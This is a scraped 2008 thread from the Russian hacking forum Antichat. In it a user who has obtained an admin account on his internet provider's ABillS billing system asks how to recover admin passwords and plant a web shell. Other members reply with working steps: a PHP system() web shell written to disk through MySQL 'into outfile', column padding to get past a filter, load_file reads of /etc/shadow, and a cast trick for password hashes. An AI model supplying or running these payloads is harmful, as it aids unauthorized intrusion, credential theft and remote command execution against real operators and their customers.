Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

31.05.2008, 00:46
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме: 295283
Репутация:
69
|
|
нужна помощь(abbills)
Может для когото вопросы покажутся и "детскими", но все-же:
Нарыл акк админа, очень бы хотелось залить шелл.В системе присутствует sql commander. Но или я тупой  или коммандер какой-то не такой  (скорее всего первое  )
сайт разработчкика
Делаю запрос например на вывод других админов в системе
Код:
select user,password from admins
в ответ выплевывает
Как вывести на нормальном языке?
Проблема прядли с кодировками, т.к информация (имена пользователей, включая другую информацию)не считая паролей, выводятся в читабельном виде.
По поводу шела into outfile как и load не получается использовать (выскакивает ошибка error select tables from blabla).
-------------------------------
какие есть варианты?
Последний раз редактировалось samarin; 31.05.2008 в 14:38..
|
|
|

01.06.2008, 12:26
|
|
Новичок
Регистрация: 29.05.2008
Сообщений: 12
Провел на форуме: 134986
Репутация:
13
|
|
Сообщение от samarin
admin Чвl?ЄDЅ%КrJKЛ
ну с этим возни больше будет, а вот что с шеллом не получается? напиши конкретно какой запрос делаешь и какую ошибку выкидывает, ну вообщем поподробнее опиши свои действия.
|
|
|

01.06.2008, 18:37
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме: 295283
Репутация:
69
|
|
система работает на базе ".cgi"
user:abills@localhost
database:abills
version:5.0.51a-log
information_schema выводит
----------------------------------------
SELECT load_file('/etc/hosts') результат Ok
Но вывода файла нет =(
select load_file('/etc/shadow') ok
на права не ругается, значит доступ есть, но опять таки вывода файла нет.
---------------------------------------
Дальше колупать(не зная) стремно, как никак мой пров ))
---------------------------------------
Может кто подскажет как быть с выводом? или может с заливкой шелла?
|
|
|

01.06.2008, 19:11
|
|
Новичок
Регистрация: 29.05.2008
Сообщений: 12
Провел на форуме: 134986
Репутация:
13
|
|
так что те мешает найти папку для записи и потом выполнить запрос
select '<?php system($_GET["cmd"]); ?>' from mysql.user into outfile 'C:\www...ну вообщем путь до папки для записи (например С\www\tmp\) \ shell.php'
ну и потом просто http:\\путь до файла\shell.php?cmd=команда(напри мер dir)
p.s. исправил вчера забыл дописать from xd
Последний раз редактировалось bakl; 02.06.2008 в 10:16..
|
|
|

02.06.2008, 14:20
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме: 217423
Репутация:
32
|
|
Сообщение от samarin
Как вывести на нормальном языке?
Проблема прядли с кодировками, т.к информация (имена пользователей, включая другую информацию)не считая паролей, выводятся в читабельном виде.
похожая проблема с выводом паролей
__https://forum.antichat.ru/thread71538.html
|
|
|

02.06.2008, 15:44
|
|
Познающий
Регистрация: 24.07.2007
Сообщений: 31
Провел на форуме: 1417840
Репутация:
35
|
|
может хеш такой?
|
|
|

02.06.2008, 17:45
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме: 217423
Репутация:
32
|
|
попробуй вот так
select user,cast(password as binary) from admins
|
|
|

06.06.2008, 13:48
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме: 295283
Репутация:
69
|
|
так что те мешает найти папку для записи и потом выполнить запрос
select '<?php system($_GET["cmd"]); ?>' from mysql.user into outfile 'C:\www...ну вообщем путь до папки для записи (например С\www\tmp\) \ shell.php'
мешает по идее фильтр. Даже при кодировке 0х+hex вылазит одна и таже ошибка
[3] ERROR_SQL /select `
или [3] ERROR_SQL/select (сам запрос)
|
|
|

07.06.2008, 14:06
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме: 217423
Репутация:
32
|
|
Сообщение от samarin
мешает по идее фильтр. Даже при кодировке 0х+hex вылазит одна и таже ошибка
[3] ERROR_SQL /select `
или [3] ERROR_SQL/select (сам запрос)
Я с этим sql commanderом не встречался, но ситуация была похожая. Когда ты делаешь select '<?php system($_GET["cmd"]); ?>' from mysql.user into outfile 'C:\www... , уверен, что количество столбцов в первом и втором selecte совпадает?
Пробовал вот так
select 1,2,'<?php system($_GET["cmd"]); ?>',4 from mysql.user into outfile 'C:\www... ?
|
|
|

22.06.2008, 16:09
|
|
Участник форума
Регистрация: 24.02.2008
Сообщений: 136
Провел на форуме: 295283
Репутация:
69
|
|
Все кто отвечал так и не смотрели исходники  . Сам вот добрался немного посмотрел(хоть сильно в этом и не разбираюсь)
так вот пароли выводятся криво из за функции encode
INSERT INTO admins (id, name, regdate, password, gid, aid, disable, phone, web_options) VALUES ('abills','abills','2005-06-16', ENCODE('abills', 'test12345678901234567890'), 0, 1,0,'', '');
как составить запрос для правильного вывода? Как я понял нужно использовать decode. А по поводу встроенного в систему sql commander-a может кто-то все таки не поленится и попробует систему в действии чтобы дать дельный совет по поводу шелла? буду признателен
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|